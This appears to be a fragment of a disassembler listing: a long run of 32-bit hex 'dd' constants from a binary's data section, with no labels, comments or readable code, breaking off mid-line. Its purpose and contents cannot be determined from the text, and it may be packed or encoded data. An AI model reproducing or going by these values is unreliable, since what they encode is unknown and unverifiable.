799F6AE4h dd 0EDC48DDFh, 0EF74D0B9h, 70779B25h, 7267A1DDh, 0F1E7F7C2h dd 0F0B9BA9h, 0CB18AE17h, 41254843h, 3D2D81A5h, 0DBE45FEFh dd 0CA73D2D5h, 0B3EA9273h, 10EF5847h, 0F06734Bh, 6D58F385h dd 24625A24h, 8051B260h, 0B47F00C2h, 0F2815975h, 790A15CDh dd 855B5268h, 96B3542h, 84ED29E3h, 4A7EE8E2h, 87C730A2h dd 0BEE380D3h, 56B80567h, 1CDF35Ch, 860F7A85h, 0CA3ED59Eh dd 74E01862h, 543BD3Eh, 0C14C8F6Ch, 81830EE5h, 1B2DABD2h dd 0AB084F7h, 718F0FBFh, 0B2462C74h, 644B144Dh, 1B3D1FBh dd 0EDCA6E0Ah, 6D963028h, 600D0632h, 0BE800D68h, 2F4A16ECh dd 5593B225h, 1F912AB2h, 0B3A4FE9h, 0D1F35509h, 2CFB76EEh dd 9559E988h, 2AED4E98h, 2B946882h, 5716E9F1h, 417A0D0Fh dd 0C9E97E3Ch, 9D0EE82Fh, 41F03A75h, 8CED0751h, 4B40E9BAh dd 22121466h, 93047F55h, 3DBF3EA3h, 48C56D8Dh, 67997338h dd 0C8685780h, 7F502C32h, 0E25E2A5Fh, 98C104E1h, 0BB209336h dd 0E087D3C5h, 0B5D57819h, 1EF075FEh, 0AA28D3FDh, 0D95A5393h dd 0FF2D3936h, 30205D12h, 85B35357h, 0C9DA8826h, 6712D012h dd 0BDBA6184h, 0B551E133h, 2567B6E8h, 0C8F4B9E9h, 0B38172Fh dd 36C06EE9h, 6D1E05BBh, 0A69261FBh, 241229FDh, 9C0FCC4Ch dd 794A1C98h, 0D35C1372h, 496927C5h, 102D2A9h, 0ABB360D6h dd 76D5280Dh, 9D9A2085h, 44AA2D4Bh, 0BF4ACCEFh, 7266758Ch dd 3BD39455h, 7D0F715h, 860AE85Bh, 9036862Dh, 75F201CDh dd 29EC3792h, 0B2C06ED1h, 4F21064Bh, 58A3A013h, 0C3DC1141h dd 74312E68h, 75C2CFA5h, 3CFE2F9Fh, 6D005A26h, 0E90F4F0Dh dd 3B2459B6h, 5BE6EE7Eh, 21EFD73Ch, 0EF7BF406h, 0D700EB83h dd 278E7559h, 0A205C829h, 63F1FF07h, 0C7F8E904h, 0B2B477EBh dd 47FD62A7h, 0E42DEFh, 207E72B7h, 0B0EA4439h, 0DE972670h dd 84F5C11Eh, 2A15F5A1h, 0F9CCCFF5h, 728A0B3Fh, 57FC201h dd 4F840F77h, 0A8EF9700h, 0A063EE48h, 808C08ADh, 5959E830h dd 9E8C9F28h, 0BA1C53h, 6D1608B1h, 1A800F42h, 0FD070BB7h dd 2EBE6B8h, 0CD160BE1h, 824E9416h, 0C961EBBBh, 6F4581EAh dd 6011E620h, 6BED5720h, 0F6D118D3h, 0F9150026h, 76FF4B98h dd 0B6B07607h, 5DC8825h, 77B1A9AEh, 136DAB2Fh, 82BFE330h dd 60B16691h, 7DBEC881h, 0A2794942h, 0D70B36BDh, 0F4B7359Ch dd 6A147931h, 0F4B9E01h, 0C434ED8Ah, 7701B843h, 0FAA5D249h dd 0F1D1B7C9h, 0DC9DBD08h, 6C310904h, 417BA57h, 7FECDE51h dd 0A74BA84Ah, 689BDBE2h, 0F6685214h, 13032538h, 0AB42C40h dd 4E399420h, 0FB5716BBh, 6012A519h, 0E3D8A4EAh, 5FEB9CFAh dd 66134EB4h, 27259AFFh, 0D03FD602h, 0EAE4D530h, 0C28608C3h dd 0F8819C50h, 0AAFD0F6h, 28B71BE5h, 8C68D5E0h, 5BE0A823h dd 0BFAA8362h, 5295A878h, 0EFEE5A60h, 20DDBD10h, 0C5301537h dd 51412D66h, 0A749EFC1h, 0FFC269D5h, 0AA20FEC4h, 0FB6812FDh dd 0DD8E8C15h, 2BDC1A4Ah, 0A5549F51h, 524EE941h, 8040416Bh dd 0D8306140h, 230D94C9h, 0A6E90991h, 0A37F0C65h, 3F29848Bh dd 80663DABh, 80BA5264h, 0F205591Eh, 0AE59DD1h, 0BB534980h dd 58055733h, 0DA16B250h, 8704AF2Dh, 0B9000F18h, 4762653Eh dd 68515001h, 52A315D8h, 44DCA720h, 6B09F1BFh, 0D472E432h dd 0E880C0Ch, 7A09C71Bh, 0DD78B63Bh, 25087728h, 0E93727C6h dd 0DD7733EAh, 0A3E7D472h, 1713F6AFh, 0BB36E5F3h, 9F0CDD68h dd 0F49815ECh, 1562E20h, 1C748BB8h, 0D43B050Fh, 0F7B83A10h dd 0A0E9080Ch, 77B46AECh, 0FEAD5970h, 890D444Fh, 0D1B91315h dd 49973079h, 0E6CC8054h, 3BA6529Fh, 4CFF305Bh, 0DE840BB1h dd 34AB17B3h, 0E5B10078h, 0F343970h, 0CF308416h, 90F2D0BDh dd 4255AA49h, 9AF741ABh, 13399068h, 0F1D6A8B2h, 6152D6Dh dd 83242158h, 35BBF39Fh, 9880E9C3h, 1EE7308h, 4FB85035h dd 610A421Fh, 93E14207h, 2F685C01h, 4C29F54h, 8198FC4Dh dd 6B0266A2h, 0CDC27F47h, 62EDD9B3h, 0D622446Dh, 87590566h dd 6377D1A7h, 8B4A800Bh, 21759703h, 0EDEB0FEh, 0D50EA2EEh dd 7506EF52h, 62FD91E9h, 282FCE01h, 0FD289275h, 3BF3A648h dd 4D23F505h, 81C2DE31h, 62005C0Bh, 82902ADDh, 3180FAD2h dd 0D898BDC3h, 59132A68h, 3EA818DFh, 70B951B0h, 0E384403h dd 25FE23E9h, 46868644h, 7D5A9C88h, 85CDCE40h, 0B0496947h dd 4A284A87h, 9F9DD67h, 36FD5891h, 0AA9229D8h, 3D7A01D3h dd 0F1521C08h, 82DF54D8h, 975C5DEh, 0A9D1D772h, 718236C2h dd 526800CEh, 5F4B8C48h, 768FF8A0h, 7456052Dh, 84081FB1h dd 0FB09858Bh, 120212A0h, 0FA2B106Ch, 291862B6h, 2579B6C5h dd 4A44FF2Ch, 77351E09h, 0DD97B864h, 0E9184E14h, 0C7D507A6h dd 1E4BFA79h, 0EDC568E0h, 0FB750746h, 919FEC95h, 0DA086B7Bh dd 0EC3616B6h, 3A083E5h, 0B4C5D741h, 0C828FD40h, 0E2C0B252h dd 800703E2h, 0DAF6B0CAh, 4357D292h, 578A9297h, 28599440h dd 7961D85Ah, 6D7C632Fh, 58322A1h, 80A144FFh, 0CDFE000Eh dd 0A847C368h, 9618B368h, 7FE941AEh, 130ABD32h, 4CB820A9h dd 1A5551CBh, 0C07AD191h, 8E0FE95Eh, 2FD489Dh, 0E7FC8295h dd 760B4087h, 9727FB9h, 58C3891Ch, 238ADED2h, 7FA13260h dd 0D89D34C0h, 0D771A053h, 8B38586Ch, 4C82B676h, 0BD404E54h dd 307D12BEh, 0DEFC1CF9h, 0EDCABD49h, 0D19384C7h, 7BC8BB00h dd 9EF43301h, 0C1AD0C62h, 53B960E1h, 908F82D3h, 89911A0Ah dd 0E2DEA2DFh, 91EB2950h, 0E3FA088Eh, 3D084F26h, 58AF3DEEh dd 890F4740h, 16128835h, 0C578F3EFh, 7A82D501h, 209982FDh dd 0CFCD429h, 42516EFAh, 9DEE05F7h, 30CF4BBh, 68D3CCA8h dd 1908D631h, 272B2EB3h, 41A9829Eh, 0F9C7FE03h, 8B3DDAECh dd 0FA3A9012h, 71E3F527h, 0F6B1034Eh, 3FDB78F1h, 581459D9h dd 0F06A75C0h, 3800E043h, 2D07610Ch, 0B04A12EAh, 80E5136Dh dd 7A0E0D5Eh, 1EC2315Bh dd 0E9C67D0Ch, 7E622CF0h, 5D05DDE5h, 55854DD4h, 8EA15D56h dd 4002E04Bh, 2D09E957h, 0B0D6655h, 1BDC6853h, 0D7692671h dd 15E226D9h, 56369FCh, 4E9C4AFCh, 9EC917Fh, 0F6FA05E4h dd 8A26992Fh, 5BD5E310h, 0FD7ACA28h, 656DC931h, 0DDA52764h dd 5BC385F7h, 5CF390BBh, 3EF9EEE0h, 5A42C3F5h, 80BD512h dd 901434FDh, 0EFA2575h, 6EF38E69h, 0B8F774F5h, 98500ACBh dd 7AC195ABh, 0ACF57553h, 9738542Ah, 8BB8FC49h, 6038B34Ah dd 502F52E8h, 0F929345Eh, 7E081F80h, 5309F24Dh, 259931B7h dd 8A844228h, 8001CC66h, 0B6524FF7h, 5AD83047h, 5BFC3E08h dd 226EC17h, 0F588584Bh, 0E978C9D4h, 0F60F4055h, 0CFFEDF19h dd 3830D752h, 254762B1h, 0B7026260h, 812E409Ah, 0A6A1D47Ah dd 71D64E02h, 0B5FED3F7h, 77520613h, 0A04381EEh, 0F6207E99h dd 48512968h, 1926814Bh, 87D4AF7Fh, 4E89F5A5h, 0C54412DCh dd 0B33BB907h, 6DD21A4Eh, 21E549F5h, 0B84B0478h, 10AA9382h dd 97507ECh, 14FB6FCDh, 64A59E2Fh, 40D4A8F7h, 48EB1AEBh dd 3D1233FEh, 2FFD2E4Bh, 1CAF0841h, 905B0224h, 4A26680Dh dd 69F27FE1h, 5345AAA4h, 24EFCB28h, 629B018Fh, 4209D571h dd 0BBF94AA6h, 1B10C42h, 0C02C24B8h, 0C226290Ah, 5A123F58h dd 39487CA3h, 0E119164Bh, 5F66D897h, 6930DBB7h, 4B304455h dd 0EFCE8501h, 0B420B52Dh, 65F1B73Bh, 347AA66Fh, 710D0038h dd 51B6B79h, 9A4C2E7Fh, 0D5BD315Ah, 2E93EC30h, 0B6F7C446h dd 3A9C8489h, 0C76157D9h, 0CB31108Ch, 45414E42h, 0E024A12Fh dd 0D9BD1F63h, 0EC759319h, 0CEBE4A3Fh, 26A250C3h, 0DE1F98BDh dd 0C4609935h, 48BCBE58h, 2AF7E9B1h, 0D8CD1B90h, 55F92841h dd 17BBD2D5h, 41C5BA76h, 18B259C1h, 0DBD992ADh, 55D0676Eh dd 56E3C567h, 552858B9h, 384FE12Eh, 5AD12882h, 0C540C1FEh dd 23DE120Ch, 76E9D704h, 3A48E6ECh, 86050325h, 0E1BC1350h dd 63E96BF9h, 181A2E86h, 0C5D27EBDh, 6B5CA8FBh, 0CB704048h dd 73788277h, 39243A34h, 189EA2FEh, 35161083h, 657E31D6h dd 72CCFC7Ah, 7FEB27CBh, 96847888h, 0BE16857Bh, 525D29B7h dd 4D5F6909h, 0D400D789h, 0A654E963h, 12C0FAFEh, 0F87602F2h dd 1DD89765h, 0ED2D342Fh, 85019D1Fh, 0BB2F57E9h, 2DA68E44h dd 5A8CEE56h, 8542B71Ch, 245AD0DDh, 87A5B7D6h, 92AD5651h dd 5A7D54A2h, 0A0F69FB2h, 0E04449A6h, 9BB82B91h, 95332DE4h dd 2AF555A1h, 2282708Bh, 5D979FB2h, 4B0B0934h, 59DCE7E9h dd 0A3C24918h, 0A0B8B756h, 0A2664F21h, 1F51095h, 0E7A68C50h dd 0B98FF784h, 47F012EEh, 8F3FE331h, 36833D02h, 272E7101h dd 42C29989h, 0B867DBDDh, 40B328AEh, 2BD43C69h, 3570EEB0h dd 58C8F69Fh, 3AE14D99h, 64A220BDh, 0FBDD814Ah, 2D923E24h dd 0DEFC4EA8h, 0E3DD0E6h, 0F0215A01h, 0AE8C15Eh, 6DAA3Eh dd 0DF54D702h, 0B5EE1296h, 0F4B9596h, 6012026Ah, 0CBDFC029h dd 0D33F01CFh, 378C0F34h, 0C9A82B7Ah, 8F72F087h, 16A8E431h dd 85010741h, 739D55E2h, 5992CCE5h, 58BF5C8Ah, 400940A2h dd 0A84CD69Fh, 34C83971h, 73566025h, 0A880CC13h, 285E6325h dd 1D911D1Bh, 405A0875h, 0A5F9D857h, 360BCE9h, 3828EF43h dd 94765EDEh, 8D08160Eh, 0F13D7A1Bh, 0A83865FDh, 1715B7C4h dd 20CD2DFFh, 0D8B50D05h, 3D7395D2h, 0C910F4CBh, 0EE68B9E8h dd 9C893B9Eh, 0EF8A54F8h, 4D70786Bh, 42DB73BFh, 90F73670h dd 5ED8DE7Bh, 8FABA921h, 400DC558h, 0F21A7C7h, 33699D82h dd 0E1748718h, 69589468h, 1FF9D219h, 0E902BA25h, 8DE1C188h dd 483B9D65h, 92ACF965h, 10C0866Dh, 7A85D697h, 97A6525Dh dd 8434BE5Dh, 0ACFA9D82h, 10CC5B90h, 30BD7B4Ch, 31FA43F2h dd 0B0FA5DEAh, 53E4494Fh, 9CD95DF4h, 0D154743Bh, 8A5704E6h dd 0FF3150FAh, 0E0003E2Dh, 1A555494h, 98FD0128h, 0D5290801h dd 0EAA06F5Ah, 97F7E65Dh, 806B537Eh, 6C206577h, 0E9DF0B87h dd 2710F35Fh, 37268B89h, 68020A9Bh, 7F769F5Bh, 9D357900h dd 0F6B83A60h, 33A2E030h, 0F23D67F6h, 597BE61h, 0BE472703h dd 165AE109h, 0DBE927F9h, 159BFC2h, 136273Dh, 0CA9689Dh dd 7A56EE4Ch, 610A3A66h, 0C14B5E3Bh, 6F3BABAEh, 8F9ABE49h dd 7ECB1E0Dh, 59EDA5Bh, 7161C7Ch, 47A5BB48h, 27E38AD4h dd 625DF8E9h, 0DD595D7Ch, 4EE40549h, 0AA28C844h, 53C1998Ah dd 2A01BD55h, 0F222D444h, 0E9A168FBh, 5A6E8F59h, 0A1F5AFBDh dd 0E990586Dh, 2A171334h, 0BA3384FEh, 0E985B0A2h, 2FF2A1B1h dd 4309531Eh, 9612C667h, 2E558B60h, 0E150A756h, 0BADB958Eh dd 0EE69CF8Bh, 2E517CCFh, 8E3846B9h, 0D6A407B0h, 2F58E889h dd 570742BEh, 657A9D7Ch, 97B0C28h, 55EEBB7h, 0CCE017C1h dd 48208E6Fh, 0BF1B0533h, 0B482DC73h, 8D0F0014h, 0D19567D4h dd 371F88D3h, 2DD58905h, 0ABDFD4EFh, 8B149481h, 3C580102h dd 2597EF20h, 0EBFD5456h, 0D6EA27B5h, 0BAE609A0h, 4A487829h dd 932D3A7Eh, 20FA0EBEh, 0ABCAC022h, 89B9074Ah, 0B215C312h dd 50F94065h, 58096842h, 8310C201h, 5EA8CD9Dh, 0C895D98Eh dd 0E2FCB9Fh, 8775B960h, 9CD1F7C5h, 3D5B5F07h, 615A6EA7h dd 8B686A3Fh, 5158C2EDh, 6C1969BFh, 2DEB2FC2h, 0E514AF8Eh dd 0D97F4D1Dh, 65E32B14h, 0E7D29Ch, 1021C0D2h, 2D34485Bh dd 81BF0DBBh, 0A01493BAh, 0B4A2A28Bh, 217214FDh, 11BC6053h dd 0AA5B0782h, 8E14B468h, 0E9535006h, 203D18AFh, 579559C8h dd 0FFC91C21h, 0E8B9C8FEh, 171736FAh, 31FACE89h, 8E38E9D0h dd 0FF575B7Dh, 32E2CEB9h, 84A94A7Fh, 0EE7CC049h, 447D304Ah dd 0B9D95F8h, 1C723F5h, 0DE7A1CF1h, 91DA447h, 59579C9Eh dd 8ACA2E97h, 0BBEA2172h, 7164EF27h, 0E8D50B24h, 119C5C64h dd 0AC065ECFh, 19BEA048h, 0E68331Ah, 0D6B0EC9Ch, 0F2122977h dd 0EF43FCE9h, 9A52D388h, 2D975EDAh, 80F45D14h, 5216C501h dd 12E996B6h, 0EBB4852Fh, 357EFCB7h, 0BB1CF617h, 0CCDE3C1h dd 3A9ED5E1h, 3F3D3FF5h, 0CDF9E693h, 0D68F51AEh, 0C313932Fh dd 6A2AE309h, 0CE6AD7EFh, 7897Dh, 80641FC7h, 51E9104Ah dd 0F0B80211h, 0FD423203h, 5608A948h, 0CA1D68FEh, 59C0941Ah dd 0D732F181h, 93AFD29h, 1483311Eh, 0D10179E5h, 0BE5430C3h dd 0C42A293Ah, 0C081905h, 586C97C1h, 1EA5D82Dh, 7083227Fh dd 2BF70B73h, 0A99175D7h, 7628386Ch, 0FE876825h, 0BB37C2A4h dd 0A9E5750Bh, 0FF1ABFBBh, 6062908Ch, 0E52D4422h, 9E260717h dd 520F0089h, 641EE65Fh, 685B0A34h, 42370AF3h, 0FA653994h dd 2C3830Bh, 9422E1Dh, 0C6F90255h, 8803C77Fh, 8816CDF3h dd 439EBC09h, 0BEECED59h, 772168C2h, 2B2E5248h, 0A708EA93h dd 0B0066B60h, 660242D4h, 0B0505152h, 79D97F91h, 75C68889h dd 0F9A6410Eh, 7E20865Bh, 7240095h, 0D0F6C0FEh, 30261304h dd 245371C1h, 0E1EB678h, 0F10996EEh, 680464E8h, 0BD295D80h dd 0CB4A33D8h, 65F57852h, 9309FB6Ch, 0E82F125h, 2DD05FFBh dd 20976C97h, 8EFD0AA8h, 3FFEDB4Ah, 93250FA8h, 92205B71h dd 6485AE5Ch, 2FB36F02h, 5DD442DBh, 5E9D327h, 871E88D4h dd 0E281DA01h, 105539BEh, 9FE0C5FFh, 50B8045Eh, 0EE241E6Ah dd 0F480D01h, 472B7E8Ah, 0B63B790h, 5FAACEF5h, 0BBEF1610h dd 4E15F0CAh, 0BD028E72h, 42F64D5Eh, 1565F25Fh, 0F6502AE9h dd 9F7EDB05h, 65CC1F63h dd 0DA290883h, 29F569BAh, 4D320089h, 60528F0Fh, 0BEF58D16h dd 5C16956Fh, 0AB97A4E9h, 417663h, 9B69EE97h, 0F729A75Eh dd 0FEC2E4E9h, 7AF0117h, 802BDB5h, 98B5EC5Fh, 7A445D00h dd 59DD56C9h, 0BB510C8Ah, 29ECEB67h, 68363106h, 25213D6Eh dd 0B95FE687h, 0B52E2D30h, 27EED439h, 291D7600h, 53E952C8h dd 4F9FB163h, 0EA215E65h, 0C428509Ah, 2D5D000Ah, 543F45E0h dd 0AEC0D029h, 68F11F4Ah, 0A9EE2FE9h, 246FD774h, 44FABFE0h dd 0ABF7869Bh, 1D4111C9h, 59A52A79h, 1008D279h, 96D52785h dd 0B189541Bh, 0AD5C97C3h, 7046E906h, 0E6FD7733h, 82B207h dd 0BC2D59CFh, 553773Dh, 0D23CA80Fh, 695F416Dh, 0C43E237Ah dd 28071F48h, 1B44F511h, 0F08CACAFh, 97FFDD1Bh, 525039DFh dd 315D8h, 0CA810D38h, 76B1C11h, 20F84A4Eh, 16794D4Ch dd 0BD5A5B0h, 0E47E5375h, 8851FD58h, 22CBCADDh, 5163D7BAh dd 41D020D2h, 5F69BB07h, 29A56C4Ch, 0BD3FBFB1h, 57D78464h dd 0DBCAC2FCh, 8100AFBAh, 0E038D4C7h, 0EF003176h, 0C8A71472h dd 0F0E9F989h, 5C52C58Fh, 1203E756h, 39EBF1C8h, 0BAF2FFFh dd 24D09C00h, 50C95995h, 8B884DA1h, 0EC3EE116h, 6657A05Fh dd 5B204C5Bh, 4FBDF32Ah, 0CE54B75Fh, 0B109A3Fh, 0EB8F75F2h dd 9770984Bh, 0BE154B7h, 0F45A1E15h, 0F96D84C2h, 0E1EDCFEh dd 40618103h, 6984AF27h, 11BB5BE3h, 100408DBh, 5F010DF9h dd 920C4414h, 482CE10Bh, 2440230Dh, 427833B9h, 20BFC89h dd 57B7ACBCh, 8D833498h, 0E92FDE95h, 6848FD66h, 0A3BC5AE8h dd 6FEA01B1h, 68C4DAB2h, 0E9C9D1A0h, 300E250Fh, 615F3FFAh dd 9F0382A3h, 8B4F792Dh, 0EEF8ABC4h, 689561B9h, 805B0030h dd 0E5C01AF5h, 44979803h, 6509C586h, 85AE026h, 820B025h dd 54A21CC1h, 0F77D2BECh, 2687A25h, 1F1E94C3h, 91DA2FA5h dd 61F785B9h, 7A316105h, 0B0A524D9h, 1220AAD2h, 0DD313E49h dd 24E49F6h, 0E5B75300h, 0F8287A2Ch, 34900474h, 7EB8E915h dd 56E01EC5h, 0DBDD810Bh, 66CA58Bh, 7C82E74Eh, 2CDBFBADh dd 0DB072FECh, 57F4520Dh, 14900150h, 0F6256C09h, 2586743Ch dd 275B44DFh, 83E25CE9h, 0A188FBFDh, 69410BD1h, 0D4211E9Ah dd 84CB27E9h, 0A9174271h, 536A4081h, 0C4DB57C2h, 33627DA5h dd 86C4D357h, 1C4868E9h, 7B37FDE9h, 0E505EDA3h, 0C2304F34h dd 0EC5F28E7h, 0C7E59022h, 2780EB16h, 0AFC6EA69h, 0F4A1168h dd 85AB8D4Bh, 67A2AFB1h, 0C1F001D2h, 0F4D011A9h, 0EC4028E9h dd 6CC63980h, 0BF6FCE93h, 0D831A4A5h, 843F6BF5h, 0B1B6ABC3h dd 0A776FA24h, 0D12037F0h, 0E3892859h, 0B7ACA0DFh, 0EC64950Ch dd 1140CF0Bh, 0EEDE40Bh, 0FE4CCC80h, 97208A74h, 10EB0506h dd 5EFD63CEh, 0B8F4BC52h, 1C623AE9h, 0C101198Dh, 0D40807E6h dd 2D98D01Ah, 233D1FFDh, 60172D6Eh, 0A097BF4Dh, 0E24F70C7h dd 4F75A87h, 0E867B047h, 294EC640h, 20C10F7Fh, 0AF72064Fh dd 3CEACFA4h, 0CE0636Ch, 34C71364h, 0CC278098h, 0F96C5DFFh dd 772DC37Ah, 1E9783Ch, 6D3370Ah, 2F3FD9E9h, 1C9E68Ah dd 97B26477h, 0D5252C7Ch, 1F90C6B4h, 0E3B33629h, 7769D900h dd 0FA574502h, 0E8054E94h, 3A568320h, 63C2A7DEh, 267BC5B0h dd 0E2D4A5D1h, 0B2DA02A5h, 89977617h, 0EA712906h, 0FEBC874Fh dd 0C406DE19h, 0F54C2118h, 1501EA5h, 3A7C5C9Fh, 871AAFCFh dd 7FE9C2EFh, 0E6CC508Bh, 0C30514Fh, 0B5A0FDE9h, 0F8AD5DDBh dd 58C129EEh, 3268844Dh, 74F2D83Ah, 25A66712h, 4A9DC0Bh dd 0B1EF5502h, 5D080357h, 70B41E0Eh, 0A0012860h, 231CD008h dd 4EFFE912h, 73C554CFh, 3A2CFA77h, 0C789045Fh, 0AA844FE9h dd 0B3822A27h, 510E7243h, 0C8FFE906h, 5E46CB81h, 212F837h dd 0D6426DF3h, 31AF7445h, 0F17F8B5Ch, 12BDC455h, 1160602h dd 5E5DEF09h, 69820C4h, 51D3A76h, 0F7207A29h, 0D5A4A240h dd 2E5B6C69h, 42553E6h, 93D4C4F5h, 0AFDE0FC4h, 1475AFBFh dd 0E9581226h, 3038A0E1h, 1AF0FD7Bh, 841FED58h, 660112A4h dd 3A587A68h, 0C40F67BBh, 3A128151h, 981F06F4h, 329A411Bh dd 16AB4E75h, 97ADBC8Ch, 0B09BC7AFh, 0CEFE40EEh, 3054514Ch dd 5BD8399Ch, 147E0005h, 422D276Fh, 0EF2447C1h, 0C0136B21h dd 0ECE39D92h, 4BB2A1D2h, 1C1A3FDCh, 252DF4E9h, 0A8D845DDh dd 0B6549D28h, 97E831F8h, 0AA4CEBD1h, 0C2099710h, 685097D4h dd 0BE095451h, 0A9024F4Ch, 6BCB85EEh, 0EE94FAD1h, 9729BB2Bh dd 0F97A9961h, 0A4F286C6h, 65823137h, 1942D0Bh, 457E5B5Ch dd 0AD5184D6h, 0A8E9E10Ch, 0BDBC0C2Ah, 67283DA6h, 8E0BA24Dh dd 0D569E350h, 75E5BD20h, 64769516h, 34039CF2h, 8950174Eh dd 0E9C290E8h, 6E7D5C2Ch, 3F5D0292h, 60405313h, 5A044A9Fh dd 0E33E93Ah, 0AE17C8ADh, 8B28BF5Fh, 17138419h, 6A77FEF3h dd 0F514D5B2h, 528B6879h, 0CCB14B44h, 476A5A0Fh, 0BBDE38D6h dd 48904A64h, 0E177A768h, 2639BF2Ah, 0FCBB5889h, 4536BD7h dd 270EBEF6h, 0ECA0FA5Dh, 9F63706Bh, 33D9B0F4h, 5C79C204h dd 3A8C4775h, 0D01DA738h, 21E1272Ch, 54500209h, 56686176h dd 5674731Fh, 0BB531F5Dh, 7ED41C81h, 0E12AE6E9h, 12F62EA1h dd 1D9B2C17h, 8B5B7A53h, 9BE84A79h, 0FC0F7D13h, 45CBA12Eh dd 7A2AB67Bh, 2DCE4949h, 7200C95Ah, 5C38213Fh, 0B4BB14A8h dd 4A59E917h, 0D0313D39h, 0F1ABCEA0h, 3C41C750h, 0FF3AED2Eh dd 0A1847525h, 0ABDB959Ah, 0FBD250A3h, 0D5A24262h, 1E77C442h dd 53CED25Fh, 62A804DDh, 2D139018h, 1E1F2237h, 4813D809h dd 0A6AFE185h, 9083208Dh, 213560A3h, 95329E68h, 427B7B7Bh dd 0CA4E92CEh, 0A538A366h, 8A1EC554h, 0B8BB5A64h, 0B151D805h dd 0E1C0ABDAh, 3A52C9FEh, 0C6ADACB6h, 518AC2B9h, 35D17EC9h dd 74E97E8Dh, 0F614137Bh, 19FDA2FEh, 0D03C12F4h, 318A0FF8h dd 0C8814FC2h, 0D42AA5FBh, 3CCA828Eh, 0D742107Ah, 95C558DFh dd 79B705D0h, 617D6B9Fh, 0E06E29E3h, 3EF359E5h, 5BBAE7D8h dd 3A2CABD1h, 0B584BFD5h, 505F05Eh, 502FD080h, 5BD1E3A9h dd 0E9FD0F5Ah, 0CC559F8Bh, 0B554B50Ah, 202EB3F1h, 186802CBh dd 2D1B1462h, 66530796h, 0AD480D5Dh, 4BCB06B2h, 28A2B46h dd 37F451A2h, 5378EAC1h, 1A14EC00h, 0E9DAF72Eh, 9D19909Fh dd 4573B3F7h, 0FF2AF8ACh, 6800932Ah, 2E84692Ch, 26002558h dd 0F2BB254h, 9E3D188Bh, 2328809Fh, 0D0317C36h, 0E9611B99h dd 4D2A5D68h, 52FA579Eh, 0A9F75CC0h, 9F2C469Bh, 0E9C1507Ch dd 307920EFh, 3D8E31CBh, 8905BC73h, 0BBD22042h, 5C17710Eh dd 0C28641Dh, 87C10406h, 0BF610220h, 0CB8EECA8h, 0EE5E76E4h dd 0AFED5C9Dh, 1E52C22Ch, 0FC3FF112h, 0B353E087h, 30899834h dd 0DF5272Eh, 949DFEF0h, 0B735FA98h, 0C5EEEE0Fh, 285831EBh dd 30E1BF0Eh, 0C90B3221h, 0C4CFA0Eh, 6CD561D4h, 2916C6CCh dd 7AB4F47h, 74FAD8D7h, 843315DFh, 0FDC4EB31h, 0E6820F81h dd 4C085F82h, 64F50279h, 2032BE19h, 4585F0Ch, 0BA2115E5h dd 0B4E079F8h, 255AB697h, 0BA4985h, 92C68088h, 0A74D23E9h dd 97253BE5h, 7A9E0E2h, 0DE280C0Fh, 54408D49h, 425A6E68h dd 0E613F8F3h, 40E3E304h, 5A5EC0A5h, 0BE17C8B3h, 0E1204427h dd 6161EF6Dh, 0C93DE833h, 77D3792Ah, 2014B054h, 0BA0035D1h dd 31BF749Bh, 5B8C281h, 0E90BCB58h, 7BE8A146h, 8984ACA9h dd 0A2CEECAh, 74344F99h dd 0BA5209EAh, 38B4A95Eh, 1A195ECh, 1D9296CDh, 0E793FEF6h dd 68086234h, 456C5D14h, 7000964Ah, 0ED8040B7h, 0EAFDE0D8h dd 62FBA0C5h, 6C599FF9h, 0B878C28Ah, 28905367h, 0B512DF11h dd 78847180h, 0F5C6DAAh, 82175FF8h, 2348AEAh, 860945BEh dd 8954006h, 1A5B245Ah, 0B2542D76h, 4996F525h, 70026816h dd 407D69CCh, 0C24E0844h, 0EABA81AAh, 0D33F20E7h, 5FA51996h dd 8C0F6BC0h, 0FF25072Ah, 5B063138h, 0F3F960FBh, 3F04E4C1h dd 6106E998h, 9E44EDAFh, 32E94DD3h, 0C730FE5Ah, 181C6F09h dd 368829E9h, 3D90D328h, 0C380CB0Bh, 1B135D56h, 2264C7ACh dd 11D03CE9h, 8CF0599Dh, 0E1BBC003h, 8C1ADD01h, 4E856832h dd 0EF6C8C3Bh, 56724105h, 98BBD3F7h, 8718DF10h, 4CCC5FFBh dd 8C51638h, 0E573004Bh, 48779A3Eh, 2716BD90h, 11010283h dd 31EF0824h, 3B5A907Eh, 3190D4FEh, 649FAB72h, 0C164BF70h dd 0DC195B2Dh, 0B6AC07Fh, 0E6798177h, 5C05CC90h, 8D84830Fh dd 0FD7CD9EEh, 0F408138Eh, 0F05675BBh, 6B4F0173h, 58F18DACh dd 5BC27456h, 979A9490h, 22FD6CB7h, 0B6D77B1Ch, 597672EFh dd 0AF9BB0DFh, 837782F7h, 58203070h, 0A36FEF97h, 685801B7h dd 450947C7h, 5AF002E4h, 0AFF8A516h, 139DE916h, 7E6572AAh dd 10251DF6h, 0C858163Dh, 1408EACFh, 32D62F26h, 0A83C4B78h dd 9D94AB97h, 0FF5AB0FCh, 0CD1F6F50h, 62572628h, 0C3E56090h dd 17D4B64h, 6F534C60h, 8B0C8007h, 1033E37h, 0A9E8B7EBh dd 984F48E9h, 0AE4A3FE3h, 3CD53C1h, 32228E7Bh, 544CD4F2h dd 0B8918C8Dh, 0D24878B1h, 2BAC81C0h, 0E8403950h, 5BF5573Dh dd 6710EF5Ch, 5505108h, 9BD0EE14h, 0C4FEEEA0h, 0FC5D304Eh dd 780DC93Ch, 6259957Eh, 505189h, 635EA085h, 92C9074h dd 0EA42AB36h, 89950557h, 481062AEh, 572A40E0h, 19F30580h dd 17475D42h, 0AD8A7E44h, 5671EF4Ah, 0B1395A7Fh, 8C868C2h dd 0E908B05Fh, 0A7A75F25h, 89FE4E41h, 0ED454348h, 3E5CF03Bh dd 0D812DDD3h, 63C95DCh, 0EF814B75h, 0C9BF0D91h, 13757ACAh dd 2F9BA500h, 0F722138Ah, 0E3801AD0h, 9D8CDA7Fh, 0B0651076h dd 0C8317591h, 9C10599h, 13CFE9F9h, 0BFAF2D7h, 259343FFh dd 0C5575608h, 2378693Eh, 9F567729h, 0F22D5F97h, 0E2ABBC41h dd 0A3C1EF15h, 0C81136D9h, 0E00AAD87h, 376AE8BDh, 94226411h dd 0F35BE01h, 4E62F781h, 0EC5E9067h, 6153A2DFh, 476FB45h dd 1EC4680Ah, 0C2298B99h, 0C372B1FCh, 386389B0h, 40B50E83h dd 2CD2E530h, 7A684E48h, 0C2A80F4Bh, 1C91E2E7h, 9D14BC7Fh dd 5AEED6C8h, 6EC98DC4h, 0E7D9FB12h, 0BCE9D450h, 8099BE90h dd 